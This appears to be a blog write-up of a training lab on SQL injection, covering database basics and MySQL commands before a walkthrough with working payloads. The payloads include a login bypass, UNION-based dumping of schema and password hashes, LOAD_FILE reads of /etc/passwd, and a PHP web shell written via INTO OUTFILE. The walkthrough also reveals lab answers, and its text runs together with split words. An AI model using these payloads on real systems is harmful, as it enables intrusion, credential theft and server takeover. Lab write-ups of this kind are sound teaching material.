Write-up: SQL Injection Fundamentals
Almost every modern web application relies on a back-end database. These databases store everything from website content and product details to user accounts and personal information. Without a database, a web application would be static. It is the interaction between the application and the database that makes websites dynamic and responsive.
Whenever a user sends an HTTP(S) request, for example by logging in, submitting a form, or performing a search, the application’s back-end processes that request and typically sends a query to the database. This query retrieves, updates, or stores information needed to generate the correct response. In many cases, parts of the user’s input are included in these database queries.
Problems arise when user-supplied data is not properly validated or sanitized. If input is directly embedded into a database query, an attacker may be able to manipulate the structure of that query. Instead of simply retrieving the intended data, the database could be tricked into executing unintended commands. This type of attack is known as SQL injection (SQLi).
SQL injection targets relational database management systems such as MySQL, PostgreSQL, or Microsoft SQL Server. Similar attacks against non-relational databases, such as MongoDB, are referred to as NoSQL injection.
Understanding SQL Injection and Database Security
Web applications can suffer from many different types of injection vulnerabilities, including HTTP injection, code injection, and command injection. However, the most well-known and widely exploited form is SQL injection.
A SQL injection occurs when an attacker submits specially crafted input that alters the SQL query a web application sends to its database. Instead of executing the intended query, the database may execute unintended or malicious SQL commands. This effectively allows an attacker to interact directly with the database.
How SQL Injection Works
For a SQL injection attack to succeed, two things must happen:
- The attacker must inject SQL code into the application.
- The injected code must alter the logic of the original query or execute a new one.
This typically starts when user input is not properly validated or sanitized. In many cases, simply injecting a single quote (‘) or double quote (“) is enough to break out of the intended input context and interfere with the structure of the SQL statement.
Once injection is possible, the attacker looks for ways to manipulate the query. This might involve:
- Modifying the original query’s logic
- Appending additional queries (stacked queries)
- Combining results using UNION statements (UNION-based injection)
To fully exploit the vulnerability, the attacker must also retrieve the output of the malicious query. This may involve observing the application’s response, analyzing error messages, or capturing returned data through the front-end interface.
The Impact of SQL Injection
The consequences of a successful SQL injection can be severe — especially when database permissions are poorly configured.
Some common impacts include:
- Data theft: Attackers may retrieve sensitive information such as usernames, passwords, personal details, or credit card data. Many large-scale data breaches have been caused by SQL injection vulnerabilities.
- Authentication bypass: Attackers may manipulate login queries to gain access without valid credentials.
- Privilege escalation: Restricted areas, such as admin panels, may become accessible.
- File access and remote control: In certain cases, attackers can read or write files on the back-end server. This can lead to the installation of backdoors and, ultimately, full server compromise.
Because of its flexibility and impact, SQL injection remains one of the most dangerous web vulnerabilities.
The Role of Databases in Web Applications
Modern web applications rely heavily on back-end databases to store and manage information. This includes:
- Core assets like images and documents
- Application content such as posts and updates
- User data including usernames, passwords, and preferences
Over time, database technology has evolved significantly. Early applications relied on simple file-based storage systems, which became inefficient as data volumes increased. This led to the development of more advanced systems known as Database Management Systems (DBMS).
What is a DBMS?
A Database Management System (DBMS) is software designed to create, manage, and maintain databases efficiently. It allows administrators and applications to store, retrieve, and manipulate large amounts of structured data.
Several types of DBMS exist today, including:
- Relational DBMS (RDBMS) — such as MySQL, PostgreSQL, and Microsoft SQL Server
- NoSQL databases — such as MongoDB
- Graph databases
- Key-value stores
- File-based systems
Each type is designed for specific use cases and performance requirements.
Applications can interact with a DBMS in various ways:
- Command-line interfaces
- Graphical management tools
- Application Programming Interfaces (APIs)
DBMS solutions are widely used across industries such as banking, finance, healthcare, and education, where large volumes of sensitive data must be stored and managed securely.
Understanding how databases function and how SQL injection exploits weaknesses in database interaction — is essential for anyone involved in web development or penetration testing.
Types of Databases
Databases are usually divided into Relational and Non-Relational (NoSQL) types.
A relational database is the most common type. It uses a schema, a template that defines how data is stored. For example, a company selling products to customers might store information about products, customers, and orders. Usually, this happens in the back-end and isn’t obvious in the front-end.
Different tables can handle different types of data:
- One table stores customer information.
- Another stores product details and costs.
- A third table links customers to their orders and payments.
Tables have keys that help identify specific rows or columns. These keys make it easy to access data quickly. For example:
- The customer table might assign each customer a unique ID.
- The product table assigns each product a unique ID.
- The orders table can then store only these IDs and quantities.
Changing data in one table affects related tables, but in a predictable way.
To link tables together, we use a Relational Database Management System (RDBMS). Many companies now use RDBMS because it is simple to learn, use, and manage. Examples include Microsoft Access, MySQL, SQL Server, Oracle, and PostgreSQL.
For instance, imagine a relational database with:
- A users table containing id, username, first_name, last_name.
- A posts table containing id, user_id, date, content.
We can link the id from the users table to user_id in the posts table. This way, we don’t need to store all user details in the posts table. A table can have multiple keys to link to different tables, like linking posts to a comments table.
Using relational databases makes it fast and easy to retrieve all information about a specific item. For example, we can get all data about a single user from multiple tables with one query. This makes relational databases reliable and efficient for large datasets. A common example is MySQL, which we will cover in this module.
What Is an Injection?
An injection vulnerability happens when a web application treats user input as code instead of data.
When users fill in a form (like a login field or search box), their input is usually inserted into a query or script behind the scenes. If that input is not properly cleaned or validated — a process called sanitization — attackers can inject malicious code that changes how the application behaves.
Sanitization means removing or escaping special characters from user input so they cannot break the intended structure of the code.
If sanitization is missing, attackers can use special characters (like a single quote ‘) to escape the expected input and inject their own commands.
What Is SQL Injection?
A SQL injection occurs when user input is directly included in a SQL query without proper sanitization or parameterization. For example, imagine a search feature that builds a query like this:
SELECT * FROM users WHERE username LIKE ‘%input%’;
If a user types:
admin
The query becomes:
SELECT * FROM users WHERE username LIKE ‘%admin%’;
This works as expected.
However, if the input is:
1'; DRO P TABLE users;
Get Jordi Been’s stories in your inbox
Join Medium for free to get updates from this writer.
The query may become:
SELECT * FROM users WHERE username LIKE ‘%1’; DRO P TABLE users; %’;
Now the attacker has:
- Closed the original string using ‘
- Added a new SQL command
- Used a semicolon (;) to separate statements
If the database allows multiple statements, this could execute the malicious command.
Understanding the Semicolon (;) and Double Dash (--) in SQL
Semicolon (;)
The semicolon is used in SQL to separate multiple statements. For example:
SELECT * FROM users; DRO P TABLE users;
Some databases like MSSQL and PostgreSQL allow multiple queries separated by semicolons. However, MySQL often blocks this behavior depending on configuration.
In SQL injection attacks, the semicolon can be used to terminate the original query and start a new one.
Double Dash (--)
The double dash starts a comment in SQL. Anything after --is ignored by the database. For example:
SELECT * FROM users WHERE username = ‘admin’ --‘;
The part after --is treated as a comment, which can help attackers ignore the rest of the original query. Attackers often use this to prevent syntax errors after injecting malicious code.
Some SQL Commands
SHOW DATABASES;
USE users;
SHOW TABLES;
DESCRIBE logins; — list the table structure with its fields and data types (ex varchar/text, int/ciphers, date)
INSERT INTO logins VALUES(1, ‘admin’, ‘p@ssw0rd’, ‘2020–07–02’); — Requires the user to fill in values for all the columns present in the table.
INSERT INTO logins(username, password) VALUES (‘john’, ‘john123!’), (‘tom’, ‘tom123!’); — Insert multiple records at once by separating them with a comma
SELECT * FROM logins; — Selects the entire table (* = wildcard)
SELECT username,password FROM logins; — Selects just the username and password columns from the table
DROP TABLE logins; — Remove table logins
ALTER TABLE logins ADD newColumn INT; — Adds a new column newColumn to the logins table
ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn; — Rename a column
ALTER TABLE logins MODIFY newerColumn DATE; — Change a column’s datatype
ALTER TABLE logins DROP newerColumn; — Drop a column
UPDATE logins SET password = ‘change_password’ WHERE id > 1; — updated all passwords in all records where the id was more significant than 1.
SELECT * FROM logins ORDER BY password; — Sort the results of the column password (default is ascending)
SELECT * FROM logins ORDER BY password DESC; — Sort the results of the column password by descending
SELECT * FROM logins ORDER BY password DESC, id ASC; — sort by multiple columns, to have a secondary sort for duplicate values in one column
SELECT * FROM logins LIMIT 2; — Limit the results to two
SELECT * FROM logins WHERE id > 1; — Selects all records where the value of id is greater than 1
SELECT * FROM logins WHERE username = ‘admin’; — Selects the record where the username is admin
SELECT * FROM logins WHERE username LIKE ‘admin%’; — Retrieve all records with usernames starting with admin and match all characters after admin (%)
SELECT * FROM logins WHERE username LIKE ‘___’; — Match all usernames with exactly three characters in them. The _ symbol is used to match exactly one character.
SELECT 1 = 1 AND ‘test’ = ‘test’; — both expressions were evaluated as true = 1.
SELECT 1 = 1 AND ‘test’ = ‘abc’; —returned false as the second condition ‘test’ = ‘abc’ is false.
SELECT 1 = 1 OR ‘test’ = ‘abc’; — at least one of them evaluates to true.
SELECT * FROM logins WHERE username != ‘john’ AND id > 1; — select everything from logins where username is not john and id is greater than 1.
Connect to the database using the MySQL client from the command line. Use the ‘show databases;’ command to list databases in the DBMS. What is the name of the first database?
What is the department number for the ‘Development’ department?
What is the last name of the employee whose first name starts with “Bar” AND who was hired on 1990–01–01?
In the ‘titles’ table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain ‘engineer’?
Try to log in as the user ‘tom’. What is the flag value shown after you successfully log in?
Login as the user with the id 5 to get the flag.
Connect to the above MySQL server with the ‘mysql’ tool, and find the number of records returned when doing a ‘Union’ of all records in the ‘employees’ table and all records in the ‘departments’ table.
Use a Union injection to get the result of ‘user()’
What is the password hash for ‘newuser’ stored in the ‘users’ table in the ‘ilfreight’ database?
We see in the above PHP code that ‘$conn’ is not defined, so it must be imported using the PHP include command. Check the imported page to obtain the database password.
Find the flag by using a webshell.
What is the password hash for the user ‘admin’?
') OR 1=1-- — . This payload makes the invitation code check return true. As a result, we can create an account.index.php?q=search&u=1') to the q parameter, the application returns a 500 Internal Server Error. This tells us that we are breaking the SQL query in the backend.') -- — . This time, the server responds with 200 OK. This means our comment fixed the broken query. The SQL injection is confirmed.') UNION SELECT 1,2,3 -- — . We keep adding numbers until we get a 200 OK response. In this case, the table has four columns. In the response, we see that the numbers 3 and 4 appear on the page. This means we can use these columns to display data.@@version and database() . This allows us to see the database version and name. We learn that the database is MariaDB 10.11.11, and the database name is chattr.') UNION SELECT 1,2,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='chattr'-- — . The table names appear in the response.') UNION SELECT 1,2,COLUMN_NAME,TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='Users'-- — . Now we know the column names.') UNION SELECT 1,2,username,password FROM chattr.Users-- — . The administrator’s hash appears in the response. We can submit it as the answer.What is the root path of the web application?
LOAD_FILE function. For example:') UNION SELECT 1,2,LOAD_FILE("/etc/passwd"),4-- — . If this works, it means the database user can read files./etc/nginx/sites-enabled/default. When we read this file, we discover the root path of the web application. We submit this path as the flag.Achieve remote code execution, and submit the contents of /flag_XXXXXX.txt below.
INTO OUTFILE function to write a simple PHP web shell. A small payload works best to avoid encoding issues. For example: <?=\$_GET[0]`?>` . We save this as shell.php.ls / to view the root directory.cat /flag_876a4c.txt. This command displays the flag, which we can then submit as the final answer.I hope this module on SQL Injection Fundamentals gave you a clearer understanding of how SQL injection works, how to identify it, and how to exploit it step by step in a structured way.
Keep practicing, stay curious, and I’ll see you in a brand new article.








